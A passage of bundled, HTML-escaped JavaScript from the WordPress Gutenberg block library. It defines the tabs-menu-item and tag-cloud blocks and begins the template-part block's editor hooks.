    metadata: () =&gt; block_default110,
    name: () =&gt; name111,
    settings: () =&gt; settings110
  });

  // packages/block-library/build-module/tabs-menu-item/edit.mjs
  var import_i18n245 = __toESM(require_i18n(), 1);
  var import_block_editor265 = __toESM(require_block_editor(), 1);
  var import_data147 = __toESM(require_data(), 1);
  var import_element129 = __toESM(require_element(), 1);

  // packages/block-library/build-module/tabs-menu-item/controls.mjs
  var import_i18n244 = __toESM(require_i18n(), 1);
  var import_block_editor264 = __toESM(require_block_editor(), 1);
  var import_components160 = __toESM(require_components(), 1);
  var import_data146 = __toESM(require_data(), 1);
  var import_jsx_runtime505 = __toESM(require_jsx_runtime(), 1);
  function TabBlockMover({
    tabClientId,
    tabIndex,
    tabsCount,
    tabsMenuClientId,
    tabsClientId
  }) {
    const {
      moveBlocksUp,
      moveBlocksDown,
      updateBlockAttributes,
      __unstableMarkNextChangeAsNotPersistent
    } = (0, import_data146.useDispatch)(import_block_editor264.store);
    const { tabPanelClientId, orientation } = (0, import_data146.useSelect)(
      (select9) =&gt; {
        const { getBlockRootClientId, getBlockAttributes: getBlockAttributes4 } = select9(import_block_editor264.store);
        const tabsMenuAttributes = tabsMenuClientId ? getBlockAttributes4(tabsMenuClientId) : null;
        return {
          tabPanelClientId: getBlockRootClientId(tabClientId),
          orientation: tabsMenuAttributes?.layout?.orientation || &quot;horizontal&quot;
        };
      },
      [tabClientId, tabsMenuClientId]
    );
    const isFirst = tabIndex === 0;
    const isLast = tabIndex === tabsCount - 1;
    const isHorizontal = orientation === &quot;horizontal&quot;;
    let upIcon, downIcon, upLabel, downLabel;
    if (isHorizontal) {
      if ((0, import_i18n244.isRTL)()) {
        upIcon = chevron_right_default;
        downIcon = chevron_left_default;
        upLabel = (0, import_i18n244.__)(&quot;Move tab right&quot;);
        downLabel = (0, import_i18n244.__)(&quot;Move tab left&quot;);
      } else {
        upIcon = chevron_left_default;
        downIcon = chevron_right_default;
        upLabel = (0, import_i18n244.__)(&quot;Move tab left&quot;);
        downLabel = (0, import_i18n244.__)(&quot;Move tab right&quot;);
      }
    } else {
      upIcon = chevron_up_default;
      downIcon = chevron_down_default;
      upLabel = (0, import_i18n244.__)(&quot;Move tab up&quot;);
      downLabel = (0, import_i18n244.__)(&quot;Move tab down&quot;);
    }
    const handleMoveUp = () =&gt; {
      moveBlocksUp([tabClientId], tabPanelClientId);
      if (tabsClientId) {
        __unstableMarkNextChangeAsNotPersistent();
        updateBlockAttributes(tabsClientId, {
          editorActiveTabIndex: tabIndex - 1
        });
      }
    };
    const handleMoveDown = () =&gt; {
      moveBlocksDown([tabClientId], tabPanelClientId);
      if (tabsClientId) {
        __unstableMarkNextChangeAsNotPersistent();
        updateBlockAttributes(tabsClientId, {
          editorActiveTabIndex: tabIndex + 1
        });
      }
    };
    if (tabsCount &lt;= 1) {
      return null;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime505.jsx)(import_block_editor264.BlockControls, { group: &quot;parent&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime505.jsx)(
      import_components160.ToolbarGroup,
      {
        className: clsx_default(&quot;block-editor-block-mover&quot;, {
          &quot;is-horizontal&quot;: isHorizontal
        }),
        children: /* @__PURE__ */ (0, import_jsx_runtime505.jsxs)(&quot;div&quot;, { className: &quot;block-editor-block-mover__move-button-container&quot;, children: [
          /* @__PURE__ */ (0, import_jsx_runtime505.jsx)(import_components160.ToolbarItem, { children: (itemProps) =&gt; /* @__PURE__ */ (0, import_jsx_runtime505.jsx)(
            import_components160.Button,
            {
              className: clsx_default(
                &quot;block-editor-block-mover-button&quot;,
                &quot;is-up-button&quot;
              ),
              icon: upIcon,
              label: upLabel,
              disabled: isFirst,
              accessibleWhenDisabled: true,
              onClick: handleMoveUp,
              __next40pxDefaultSize: true,
              ...itemProps
            }
          ) }),
          /* @__PURE__ */ (0, import_jsx_runtime505.jsx)(import_components160.ToolbarItem, { children: (itemProps) =&gt; /* @__PURE__ */ (0, import_jsx_runtime505.jsx)(
            import_components160.Button,
            {
              className: clsx_default(
                &quot;block-editor-block-mover-button&quot;,
                &quot;is-down-button&quot;
              ),
              icon: downIcon,
              label: downLabel,
              disabled: isLast,
              accessibleWhenDisabled: true,
              onClick: handleMoveDown,
              __next40pxDefaultSize: true,
              ...itemProps
            }
          ) })
        ] })
      }
    ) });
  }
  function Controls5({
    attributes: attributes2,
    setAttributes,
    clientId,
    tabsClientId,
    tabClientId,
    tabIndex,
    tabsCount,
    tabsMenuClientId,
    activeBackgroundColor,
    setActiveBackgroundColor,
    activeTextColor,
    setActiveTextColor,
    hoverBackgroundColor,
    setHoverBackgroundColor,
    hoverTextColor,
    setHoverTextColor
  }) {
    const {
      customActiveBackgroundColor,
      customActiveTextColor,
      customHoverBackgroundColor,
      customHoverTextColor
    } = attributes2;
    const colorSettings = (0, import_block_editor264.__experimentalUseMultipleOriginColorsAndGradients)();
    return /* @__PURE__ */ (0, import_jsx_runtime505.jsxs)(import_jsx_runtime505.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime505.jsx)(
        TabBlockMover,
        {
          tabClientId,
          tabIndex,
          tabsCount,
          tabsMenuClientId,
          tabsClientId
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime505.jsx)(AddTabToolbarControl, { tabsClientId }),
      /* @__PURE__ */ (0, import_jsx_runtime505.jsx)(RemoveTabToolbarControl, { tabsClientId }),
      /* @__PURE__ */ (0, import_jsx_runtime505.jsx)(import_block_editor264.InspectorControls, { group: &quot;color&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime505.jsx)(
        import_block_editor264.__experimentalColorGradientSettingsDropdown,
        {
          settings: [
            {
              label: (0, import_i18n244.__)(&quot;Active background&quot;),
              colorValue: activeBackgroundColor?.color ?? customActiveBackgroundColor,
              onColorChange: (value) =&gt; {
                setActiveBackgroundColor(value);
                setAttributes({
                  customActiveBackgroundColor: value
                });
              },
              resetAllFilter: () =&gt; {
                setActiveBackgroundColor(void 0);
                setAttributes({
                  customActiveBackgroundColor: void 0
                });
              },
              clearable: true
            },
            {
              label: (0, import_i18n244.__)(&quot;Active text&quot;),
              colorValue: activeTextColor?.color ?? customActiveTextColor,
              onColorChange: (value) =&gt; {
                setActiveTextColor(value);
                setAttributes({
                  customActiveTextColor: value
                });
              },
              resetAllFilter: () =&gt; {
                setActiveTextColor(void 0);
                setAttributes({
                  customActiveTextColor: void 0
                });
              },
              clearable: true
            },
            {
              label: (0, import_i18n244.__)(&quot;Hover background&quot;),
              colorValue: hoverBackgroundColor?.color ?? customHoverBackgroundColor,
              onColorChange: (value) =&gt; {
                setHoverBackgroundColor(value);
                setAttributes({
                  customHoverBackgroundColor: value
                });
              },
              resetAllFilter: () =&gt; {
                setHoverBackgroundColor(void 0);
                setAttributes({
                  customHoverBackgroundColor: void 0
                });
              },
              clearable: true
            },
            {
              label: (0, import_i18n244.__)(&quot;Hover text&quot;),
              colorValue: hoverTextColor?.color ?? customHoverTextColor,
              onColorChange: (value) =&gt; {
                setHoverTextColor(value);
                setAttributes({
                  customHoverTextColor: value
                });
              },
              resetAllFilter: () =&gt; {
                setHoverTextColor(void 0);
                setAttributes({
                  customHoverTextColor: void 0
                });
              },
              clearable: true
            }
          ],
          panelId: clientId,
          disableCustomColors: false,
          __experimentalIsRenderedInSidebar: true,
          __next40pxDefaultSize: true,
          ...colorSettings
        }
      ) })
    ] });
  }

  // packages/block-library/build-module/tabs-menu-item/edit.mjs
  var import_jsx_runtime506 = __toESM(require_jsx_runtime(), 1);
  function Edit23({
    attributes: attributes2,
    setAttributes,
    context,
    clientId,
    activeBackgroundColor,
    setActiveBackgroundColor,
    activeTextColor,
    setActiveTextColor,
    hoverBackgroundColor,
    setHoverBackgroundColor,
    hoverTextColor,
    setHoverTextColor,
    __unstableLayoutClassNames: layoutClassNames
  }) {
    const tabIndex = context[&quot;core/tabs-menu-item-index&quot;] ?? 0;
    const tabId = context[&quot;core/tabs-menu-item-id&quot;] ?? &quot;&quot;;
    const tabLabel = context[&quot;core/tabs-menu-item-label&quot;] ?? &quot;&quot;;
    const tabClientId = context[&quot;core/tabs-menu-item-clientId&quot;] ?? &quot;&quot;;
    const contextTabsList = context[&quot;core/tabs-list&quot;];
    const tabsList = (0, import_element129.useMemo)(
      () =&gt; contextTabsList || [],
      [contextTabsList]
    );
    const activeTabIndex = context[&quot;core/tabs-activeTabIndex&quot;] ?? 0;
    const editorActiveTabIndex = context[&quot;core/tabs-editorActiveTabIndex&quot;];
    const effectiveActiveIndex = (0, import_element129.useMemo)(() =&gt; {
      return editorActiveTabIndex ?? activeTabIndex;
    }, [editorActiveTabIndex, activeTabIndex]);
    const isActiveTab = tabIndex === effectiveActiveIndex;
    const { __unstableMarkNextChangeAsNotPersistent } = (0, import_data147.useDispatch)(import_block_editor265.store);
    const { tabsClientId, tabsMenuClientId, selectedTabClientId } = (0, import_data147.useSelect)(
      (select9) =&gt; {
        const {
          getBlockRootClientId,
          getSelectedBlockClientIds,
          hasSelectedInnerBlock
        } = select9(import_block_editor265.store);
        const _tabsMenuClientId = getBlockRootClientId(clientId);
        const _tabsClientId = _tabsMenuClientId ? getBlockRootClientId(_tabsMenuClientId) : null;
        const selectedIds = getSelectedBlockClientIds();
        let selectedTab = null;
        for (const tab of tabsList) {
          if (selectedIds.includes(tab.clientId) || hasSelectedInnerBlock(tab.clientId, true)) {
            selectedTab = tab.clientId;
            break;
          }
        }
        return {
          tabsClientId: _tabsClientId,
          tabsMenuClientId: _tabsMenuClientId,
          selectedTabClientId: selectedTab
        };
      },
      [clientId, tabsList]
    );
    const isSelectedTab = tabClientId === selectedTabClientId;
    const { updateBlockAttributes } = (0, import_data147.useDispatch)(import_block_editor265.store);
    const handleLabelChange = (0, import_element129.useCallback)(
      (newLabel) =&gt; {
        if (tabClientId) {
          updateBlockAttributes(tabClientId, {
            label: newLabel,
            anchor: slugFromLabel(newLabel, tabIndex)
          });
        }
      },
      [updateBlockAttributes, tabClientId, tabIndex]
    );
    const handleTabClick = (0, import_element129.useCallback)(
      (event) =&gt; {
        event.preventDefault();
        if (tabsClientId &amp;&amp; tabIndex !== effectiveActiveIndex) {
          __unstableMarkNextChangeAsNotPersistent();
          updateBlockAttributes(tabsClientId, {
            editorActiveTabIndex: tabIndex
          });
        }
      },
      [
        tabsClientId,
        tabIndex,
        effectiveActiveIndex,
        updateBlockAttributes,
        __unstableMarkNextChangeAsNotPersistent
      ]
    );
    const customColorStyles = (0, import_element129.useMemo)(() =&gt; {
      const styles = {};
      const activeBg = activeBackgroundColor?.color || attributes2.customActiveBackgroundColor;
      const activeText = activeTextColor?.color || attributes2.customActiveTextColor;
      const hoverBg = hoverBackgroundColor?.color || attributes2.customHoverBackgroundColor;
      const hoverText = hoverTextColor?.color || attributes2.customHoverTextColor;
      if (activeBg) {
        styles[&quot;--custom-tab-active-color&quot;] = activeBg;
      }
      if (activeText) {
        styles[&quot;--custom-tab-active-text-color&quot;] = activeText;
      }
      if (hoverBg) {
        styles[&quot;--custom-tab-hover-color&quot;] = hoverBg;
      }
      if (hoverText) {
        styles[&quot;--custom-tab-hover-text-color&quot;] = hoverText;
      }
      return styles;
    }, [
      activeBackgroundColor?.color,
      attributes2.customActiveBackgroundColor,
      activeTextColor?.color,
      attributes2.customActiveTextColor,
      hoverBackgroundColor?.color,
      attributes2.customHoverBackgroundColor,
      hoverTextColor?.color,
      attributes2.customHoverTextColor
    ]);
    const tabPanelId = tabId || `tab-${tabIndex}`;
    const tabLabelId = `${tabPanelId}--tab`;
    const blockProps = (0, import_block_editor265.useBlockProps)({
      className: clsx_default(layoutClassNames, {
        &quot;is-active&quot;: isActiveTab,
        &quot;is-selected&quot;: isSelectedTab
      }),
      style: customColorStyles,
      &quot;aria-controls&quot;: tabPanelId,
      &quot;aria-selected&quot;: isActiveTab,
      id: tabLabelId,
      role: &quot;tab&quot;,
      tabIndex: -1,
      onClick: handleTabClick
    });
    return /* @__PURE__ */ (0, import_jsx_runtime506.jsxs)(import_jsx_runtime506.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime506.jsx)(
        Controls5,
        {
          ...{
            attributes: attributes2,
            setAttributes,
            clientId,
            tabsClientId,
            tabClientId,
            tabIndex,
            tabsCount: tabsList.length,
            tabsMenuClientId,
            activeBackgroundColor,
            setActiveBackgroundColor,
            activeTextColor,
            setActiveTextColor,
            hoverBackgroundColor,
            setHoverBackgroundColor,
            hoverTextColor,
            setHoverTextColor
          }
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime506.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime506.jsx)(
        import_block_editor265.RichText,
        {
          tagName: &quot;span&quot;,
          withoutInteractiveFormatting: true,
          placeholder: (0, import_i18n245.sprintf)(
            /* translators: %d is the tab index + 1 */
            (0, import_i18n245.__)(&quot;Tab title %d&quot;),
            tabIndex + 1
          ),
          value: tabLabel || &quot;&quot;,
          onChange: handleLabelChange
        }
      ) })
    ] });
  }
  var edit_default38 = (0, import_block_editor265.withColors)(
    &quot;activeBackgroundColor&quot;,
    &quot;activeTextColor&quot;,
    &quot;hoverBackgroundColor&quot;,
    &quot;hoverTextColor&quot;
  )(Edit23);

  // packages/block-library/build-module/tabs-menu-item/save.mjs
  var import_block_editor266 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime507 = __toESM(require_jsx_runtime(), 1);
  function save54({ attributes: attributes2 }) {
    const customColorStyles = {};
    if (attributes2.customActiveBackgroundColor) {
      customColorStyles[&quot;--custom-tab-active-color&quot;] = attributes2.customActiveBackgroundColor;
    }
    if (attributes2.customActiveTextColor) {
      customColorStyles[&quot;--custom-tab-active-text-color&quot;] = attributes2.customActiveTextColor;
    }
    if (attributes2.customHoverBackgroundColor) {
      customColorStyles[&quot;--custom-tab-hover-color&quot;] = attributes2.customHoverBackgroundColor;
    }
    if (attributes2.customHoverTextColor) {
      customColorStyles[&quot;--custom-tab-hover-text-color&quot;] = attributes2.customHoverTextColor;
    }
    const blockProps = import_block_editor266.useBlockProps.save({
      className: &quot;wp-block-tabs-menu-item__template&quot;,
      style: customColorStyles,
      type: &quot;button&quot;,
      role: &quot;tab&quot;
    });
    return /* @__PURE__ */ (0, import_jsx_runtime507.jsx)(&quot;button&quot;, { ...blockProps });
  }

  // packages/block-library/build-module/tabs-menu-item/block.json
  var block_default110 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    __experimental: true,
    apiVersion: 3,
    name: &quot;core/tabs-menu-item&quot;,
    title: &quot;Tab Menu Item&quot;,
    description: &quot;A single tab button in the tabs menu. Used as a template for styling all tab buttons.&quot;,
    version: &quot;1.0.0&quot;,
    category: &quot;design&quot;,
    textdomain: &quot;default&quot;,
    parent: [&quot;core/tabs-menu&quot;],
    usesContext: [
      &quot;core/tabs-menu-item-index&quot;,
      &quot;core/tabs-menu-item-id&quot;,
      &quot;core/tabs-menu-item-label&quot;,
      &quot;core/tabs-menu-item-clientId&quot;,
      &quot;core/tabs-list&quot;,
      &quot;core/tabs-activeTabIndex&quot;,
      &quot;core/tabs-editorActiveTabIndex&quot;
    ],
    attributes: {
      activeBackgroundColor: {
        type: &quot;string&quot;
      },
      customActiveBackgroundColor: {
        type: &quot;string&quot;
      },
      activeTextColor: {
        type: &quot;string&quot;
      },
      customActiveTextColor: {
        type: &quot;string&quot;
      },
      hoverBackgroundColor: {
        type: &quot;string&quot;
      },
      customHoverBackgroundColor: {
        type: &quot;string&quot;
      },
      hoverTextColor: {
        type: &quot;string&quot;
      },
      customHoverTextColor: {
        type: &quot;string&quot;
      }
    },
    supports: {
      html: false,
      reusable: false,
      lock: false,
      color: {
        background: true,
        text: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      shadow: true,
      typography: {
        fontSize: true,
        __experimentalFontFamily: true,
        textAlign: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      layout: {
        allowEditing: false
      },
      spacing: {
        padding: true,
        __experimentalDefaultControls: {
          padding: true
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      }
    },
    editorScript: &quot;file:./index.js&quot;,
    editorStyle: &quot;file:./editor.css&quot;,
    style: &quot;file:./style-index.css&quot;
  };

  // packages/block-library/build-module/tabs-menu-item/index.mjs
  var { name: name111 } = block_default110;
  var settings110 = {
    icon: tabs_menu_item_default,
    edit: edit_default38,
    save: save54
  };
  var init110 = () =&gt; initBlock({ name: name111, metadata: block_default110, settings: settings110 });

  // packages/block-library/build-module/tag-cloud/index.mjs
  var tag_cloud_exports = {};
  __export(tag_cloud_exports, {
    init: () =&gt; init111,
    metadata: () =&gt; block_default111,
    name: () =&gt; name112,
    settings: () =&gt; settings111
  });

  // packages/block-library/build-module/tag-cloud/transforms.mjs
  var import_blocks114 = __toESM(require_blocks(), 1);
  var transforms35 = {
    from: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/categories&quot;],
        transform: () =&gt; (0, import_blocks114.createBlock)(&quot;core/tag-cloud&quot;)
      }
    ],
    to: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/categories&quot;],
        transform: () =&gt; (0, import_blocks114.createBlock)(&quot;core/categories&quot;)
      }
    ]
  };
  var transforms_default36 = transforms35;

  // packages/block-library/build-module/tag-cloud/block.json
  var block_default111 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/tag-cloud&quot;,
    title: &quot;Tag Cloud&quot;,
    category: &quot;widgets&quot;,
    description: &quot;A cloud of popular keywords, each sized by how often it appears.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      numberOfTags: {
        type: &quot;number&quot;,
        default: 45,
        minimum: 1,
        maximum: 100
      },
      taxonomy: {
        type: &quot;string&quot;,
        default: &quot;post_tag&quot;
      },
      showTagCounts: {
        type: &quot;boolean&quot;,
        default: false
      },
      smallestFontSize: {
        type: &quot;string&quot;,
        default: &quot;8pt&quot;
      },
      largestFontSize: {
        type: &quot;string&quot;,
        default: &quot;22pt&quot;
      }
    },
    styles: [
      { name: &quot;default&quot;, label: &quot;Default&quot;, isDefault: true },
      { name: &quot;outline&quot;, label: &quot;Outline&quot; }
    ],
    supports: {
      anchor: true,
      html: false,
      align: true,
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalLetterSpacing: true
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    }
  };

  // packages/block-library/build-module/tag-cloud/edit.mjs
  var import_components161 = __toESM(require_components(), 1);
  var import_data148 = __toESM(require_data(), 1);
  var import_i18n246 = __toESM(require_i18n(), 1);
  var import_block_editor267 = __toESM(require_block_editor(), 1);
  var import_core_data82 = __toESM(require_core_data(), 1);
  var import_server_side_render6 = __toESM(require_server_side_render(), 1);
  var import_compose59 = __toESM(require_compose(), 1);
  var import_jsx_runtime508 = __toESM(require_jsx_runtime(), 1);
  var MIN_TAGS = 1;
  var MAX_TAGS = 100;
  var MIN_FONT_SIZE = 0.1;
  var MAX_FONT_SIZE = 100;
  function TagCloudEdit({ attributes: attributes2, setAttributes, name: name123 }) {
    const {
      taxonomy,
      showTagCounts,
      numberOfTags,
      smallestFontSize,
      largestFontSize
    } = attributes2;
    const [availableUnits] = (0, import_block_editor267.useSettings)(&quot;spacing.units&quot;);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const units = (0, import_components161.__experimentalUseCustomUnits)({
      availableUnits: availableUnits ? [...availableUnits, &quot;pt&quot;] : [&quot;%&quot;, &quot;px&quot;, &quot;em&quot;, &quot;rem&quot;, &quot;pt&quot;]
    });
    const taxonomies = (0, import_data148.useSelect)(
      (select9) =&gt; select9(import_core_data82.store).getTaxonomies({ per_page: -1 }),
      []
    );
    const getTaxonomyOptions = () =&gt; {
      const selectOption = {
        label: (0, import_i18n246.__)(&quot;- Select -&quot;),
        value: &quot;&quot;,
        disabled: true
      };
      const taxonomyOptions = (taxonomies ?? []).filter((tax) =&gt; !!tax.show_cloud).map((item) =&gt; {
        return {
          value: item.slug,
          label: item.name
        };
      });
      return [selectOption, ...taxonomyOptions];
    };
    const onFontSizeChange = (fontSizeLabel, newValue) =&gt; {
      const [quantity, newUnit] = (0, import_components161.__experimentalParseQuantityAndUnitFromRawValue)(newValue);
      if (!Number.isFinite(quantity)) {
        return;
      }
      const updateObj = { [fontSizeLabel]: newValue };
      Object.entries({
        smallestFontSize,
        largestFontSize
      }).forEach(([attribute, currentValue]) =&gt; {
        const [currentQuantity, currentUnit] = (0, import_components161.__experimentalParseQuantityAndUnitFromRawValue)(currentValue);
        if (attribute !== fontSizeLabel &amp;&amp; currentUnit !== newUnit) {
          updateObj[attribute] = `${currentQuantity}${newUnit}`;
        }
      });
      setAttributes(updateObj);
    };
    const inspectorControls = /* @__PURE__ */ (0, import_jsx_runtime508.jsx)(import_block_editor267.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime508.jsxs)(
      import_components161.__experimentalToolsPanel,
      {
        label: (0, import_i18n246.__)(&quot;Settings&quot;),
        resetAll: () =&gt; {
          setAttributes({
            taxonomy: &quot;post_tag&quot;,
            showTagCounts: false,
            numberOfTags: 45,
            smallestFontSize: &quot;8pt&quot;,
            largestFontSize: &quot;22pt&quot;
          });
        },
        dropdownMenuProps,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime508.jsx)(
            import_components161.__experimentalToolsPanelItem,
            {
              hasValue: () =&gt; taxonomy !== &quot;post_tag&quot;,
              label: (0, import_i18n246.__)(&quot;Taxonomy&quot;),
              onDeselect: () =&gt; setAttributes({ taxonomy: &quot;post_tag&quot; }),
              isShownByDefault: true,
              children: /* @__PURE__ */ (0, import_jsx_runtime508.jsx)(
                import_components161.SelectControl,
                {
                  __next40pxDefaultSize: true,
                  label: (0, import_i18n246.__)(&quot;Taxonomy&quot;),
                  options: getTaxonomyOptions(),
                  value: taxonomy,
                  onChange: (selectedTaxonomy) =&gt; setAttributes({ taxonomy: selectedTaxonomy })
                }
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime508.jsx)(
            import_components161.__experimentalToolsPanelItem,
            {
              hasValue: () =&gt; smallestFontSize !== &quot;8pt&quot; || largestFontSize !== &quot;22pt&quot;,
              label: (0, import_i18n246.__)(&quot;Font size&quot;),
              onDeselect: () =&gt; setAttributes({
                smallestFontSize: &quot;8pt&quot;,
                largestFontSize: &quot;22pt&quot;
              }),
              isShownByDefault: true,
              children: /* @__PURE__ */ (0, import_jsx_runtime508.jsxs)(import_components161.Flex, { gap: 4, children: [
                /* @__PURE__ */ (0, import_jsx_runtime508.jsx)(import_components161.FlexItem, { isBlock: true, children: /* @__PURE__ */ (0, import_jsx_runtime508.jsx)(
                  import_components161.__experimentalUnitControl,
                  {
                    label: (0, import_i18n246.__)(&quot;Smallest size&quot;),
                    value: smallestFontSize,
                    onChange: (value) =&gt; {
                      onFontSizeChange(
                        &quot;smallestFontSize&quot;,
                        value
                      );
                    },
                    units,
                    min: MIN_FONT_SIZE,
                    max: MAX_FONT_SIZE,
                    size: &quot;__unstable-large&quot;
                  }
                ) }),
                /* @__PURE__ */ (0, import_jsx_runtime508.jsx)(import_components161.FlexItem, { isBlock: true, children: /* @__PURE__ */ (0, import_jsx_runtime508.jsx)(
                  import_components161.__experimentalUnitControl,
                  {
                    label: (0, import_i18n246.__)(&quot;Largest size&quot;),
                    value: largestFontSize,
                    onChange: (value) =&gt; {
                      onFontSizeChange(
                        &quot;largestFontSize&quot;,
                        value
                      );
                    },
                    units,
                    min: MIN_FONT_SIZE,
                    max: MAX_FONT_SIZE,
                    size: &quot;__unstable-large&quot;
                  }
                ) })
              ] })
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime508.jsx)(
            import_components161.__experimentalToolsPanelItem,
            {
              hasValue: () =&gt; numberOfTags !== 45,
              label: (0, import_i18n246.__)(&quot;Number of tags&quot;),
              onDeselect: () =&gt; setAttributes({ numberOfTags: 45 }),
              isShownByDefault: true,
              children: /* @__PURE__ */ (0, import_jsx_runtime508.jsx)(
                import_components161.RangeControl,
                {
                  __next40pxDefaultSize: true,
                  label: (0, import_i18n246.__)(&quot;Number of tags&quot;),
                  value: numberOfTags,
                  onChange: (value) =&gt; setAttributes({ numberOfTags: value }),
                  min: MIN_TAGS,
                  max: MAX_TAGS,
                  required: true
                }
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime508.jsx)(
            import_components161.__experimentalToolsPanelItem,
            {
              hasValue: () =&gt; showTagCounts !== false,
              label: (0, import_i18n246.__)(&quot;Show tag counts&quot;),
              onDeselect: () =&gt; setAttributes({ showTagCounts: false }),
              isShownByDefault: true,
              children: /* @__PURE__ */ (0, import_jsx_runtime508.jsx)(
                import_components161.ToggleControl,
                {
                  label: (0, import_i18n246.__)(&quot;Show tag counts&quot;),
                  checked: showTagCounts,
                  onChange: () =&gt; setAttributes({ showTagCounts: !showTagCounts })
                }
              )
            }
          )
        ]
      }
    ) });
    const { content, status, error } = (0, import_server_side_render6.useServerSideRender)({
      attributes: attributes2,
      skipBlockSupportAttributes: true,
      block: name123
    });
    const disabledRef = (0, import_compose59.useDisabled)();
    const blockProps = (0, import_block_editor267.useBlockProps)({ ref: disabledRef });
    return /* @__PURE__ */ (0, import_jsx_runtime508.jsxs)(import_jsx_runtime508.Fragment, { children: [
      inspectorControls,
      status === &quot;loading&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime508.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime508.jsx)(import_components161.Spinner, {}) }),
      status === &quot;error&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime508.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime508.jsx)(&quot;p&quot;, { children: (0, import_i18n246.sprintf)(
        /* translators: %s: error message returned when rendering the block. */
        (0, import_i18n246.__)(&quot;Error: %s&quot;),
        error
      ) }) }),
      status === &quot;success&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime508.jsx)(html_renderer_default, { wrapperProps: blockProps, html: content })
    ] });
  }
  var edit_default39 = TagCloudEdit;

  // packages/block-library/build-module/tag-cloud/index.mjs
  var { name: name112 } = block_default111;
  var settings111 = {
    icon: tag_default,
    example: {},
    edit: edit_default39,
    transforms: transforms_default36
  };
  var init111 = () =&gt; initBlock({ name: name112, metadata: block_default111, settings: settings111 });

  // packages/block-library/build-module/template-part/index.mjs
  var template_part_exports = {};
  __export(template_part_exports, {
    init: () =&gt; init112,
    metadata: () =&gt; block_default112,
    name: () =&gt; name113,
    settings: () =&gt; settings112
  });
  var import_core_data90 = __toESM(require_core_data(), 1);
  var import_data157 = __toESM(require_data(), 1);
  var import_hooks82 = __toESM(require_hooks(), 1);
  var import_html_entities14 = __toESM(require_html_entities(), 1);

  // packages/block-library/build-module/template-part/block.json
  var block_default112 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/template-part&quot;,
    title: &quot;Template Part&quot;,
    category: &quot;theme&quot;,
    description: &quot;Edit the different global regions of your site, like the header, footer, sidebar, or create your own.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      slug: {
        type: &quot;string&quot;
      },
      theme: {
        type: &quot;string&quot;
      },
      tagName: {
        type: &quot;string&quot;
      },
      area: {
        type: &quot;string&quot;
      }
    },
    supports: {
      align: true,
      html: false,
      reusable: false,
      renaming: false,
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: &quot;wp-block-template-part-editor&quot;
  };

  // packages/block-library/build-module/template-part/edit/index.mjs
  var import_blocks119 = __toESM(require_blocks(), 1);
  var import_data155 = __toESM(require_data(), 1);
  var import_block_editor272 = __toESM(require_block_editor(), 1);
  var import_components167 = __toESM(require_components(), 1);
  var import_i18n253 = __toESM(require_i18n(), 1);
  var import_core_data88 = __toESM(require_core_data(), 1);
  var import_element136 = __toESM(require_element(), 1);
  var import_notices21 = __toESM(require_notices(), 1);

  // packages/block-library/build-module/template-part/edit/placeholder.mjs
  var import_i18n249 = __toESM(require_i18n(), 1);
  var import_components163 = __toESM(require_components(), 1);
  var import_element132 = __toESM(require_element(), 1);
  var import_data150 = __toESM(require_data(), 1);
  var import_core_data84 = __toESM(require_core_data(), 1);

  // packages/block-library/build-module/template-part/edit/utils/hooks.mjs
  var import_data149 = __toESM(require_data(), 1);
  var import_core_data83 = __toESM(require_core_data(), 1);
  var import_block_editor268 = __toESM(require_block_editor(), 1);
  var import_element130 = __toESM(require_element(), 1);
  var import_blocks115 = __toESM(require_blocks(), 1);
  var import_i18n247 = __toESM(require_i18n(), 1);
  function useAlternativeTemplateParts(area, excludedId) {
    const { templateParts, isResolving } = (0, import_data149.useSelect)((select9) =&gt; {
      const { getEntityRecords, isResolving: _isResolving } = select9(import_core_data83.store);
      const query = { per_page: -1 };
      return {
        templateParts: getEntityRecords(
          &quot;postType&quot;,
          &quot;wp_template_part&quot;,
          query
        ),
        isResolving: _isResolving(&quot;getEntityRecords&quot;, [
          &quot;postType&quot;,
          &quot;wp_template_part&quot;,
          query
        ])
      };
    }, []);
    const filteredTemplateParts = (0, import_element130.useMemo)(() =&gt; {
      if (!templateParts) {
        return [];
      }
      return templateParts.filter(
        (templatePart) =&gt; createTemplatePartId(
          templatePart.theme,
          templatePart.slug
